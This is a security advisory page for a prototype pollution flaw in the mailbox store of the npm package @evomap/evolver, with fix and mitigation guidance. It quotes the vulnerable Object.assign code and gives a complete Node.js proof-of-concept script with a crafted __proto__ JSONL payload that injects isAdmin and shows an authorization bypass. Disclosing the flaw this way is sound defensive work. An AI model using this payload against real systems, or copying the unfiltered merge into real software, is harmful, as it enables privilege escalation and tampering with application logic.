Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operationsGHSA-2cjr-5v3h-v2w4
MEDIUMGHSA-2cjr-5v3h-v2w4 is a medium-severity (CVSS 5.2) CWE-1321 vulnerability in @evomap/evolver. A fix is available for @evomap/evolver — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2cjr-5v3h-v2w4.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@evomap/evolvernpmDescription
Summary
A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.
Details
The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:
// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
if (row._op === 'update') {
const existing = this._index[row.id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, row.fields);
else this._index[row.id] = row.fields;
}
// ...
}
// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
const existing = this._index[id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, fields);
// ...
}
The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.
The data flows from:
messages.jsonlfile →readLines()function (line 47) →_rebuildIndex()(line 113) →_applyUpdate()(line 121) →Object.assign()pollutes prototype
PoC
Prerequisites:
- Node.js installed
- Access to write to the mailbox messages file
Steps to reproduce:
- Create a test file demonstrating the vulnerability:
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');
// Simulate the vulnerable Store class logic
class VulnerableStore {
constructor(filePath) {
this.filePath = filePath;
this._index = {};
}
load() {
if (!fs.existsSync(this.filePath)) return;
const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
for (const line of lines) {
if (!line.trim()) continue;
try {
const row = JSON.parse(line);
this._applyUpdate(row);
} catch (e) {
// Ignore parse errors
}
}
}
_applyUpdate(row) {
if (row._op === 'update') {
const existing = this._index[row.id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, row.fields);
else this._index[row.id] = row.fields;
}
}
update(id, fields) {
this._updateRecord(id, fields);
}
_updateRecord(id, fields) {
const existing = this._index[id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, fields);
else this._index[id] = fields;
}
}
// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');
// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
_op: 'update',
id: 'msg-123',
fields: {
__proto__: {
polluted: true,
isAdmin: true
},
normalField: 'normalValue'
}
}) + '\n';
const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');
fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');
// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();
// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);
if (testObj.polluted === true) {
console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
console.log('\n🟡 Prototype pollution may require different payload structure');
}
// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
// Typical pattern that would be vulnerable
if (user.isAdmin) {
return 'Access granted - Admin privileges';
}
return 'Access denied';
}
const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));
// Cleanup
fs.rmSync(testDir, { recursive: true });
- Run the test:
node test-prototype-pollution.js
Expected output:
=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true
🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.
=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges
Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.
Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:
{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}
Impact
This is a Prototype Pollution vulnerability that can lead to:
- Property injection affecting all JavaScript objects
- Authentication/authorization bypass
- Application logic manipulation
- Denial of service via prototype corruption
- Potential remote code execution if polluted properties affect security-critical code paths
Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through:
- File upload vulnerabilities
- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
- Compromised backup files
- Shared hosting environments
Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @evomap/evolver | all versions | 1.69.3npm install @evomap/evolver@1.69.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @evomap/evolver, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @evomap/evolver to 1.69.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2cjr-5v3h-v2w4 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-2cjr-5v3h-v2w4 in your dependencies?
Find it across npm, including transitive dependencies.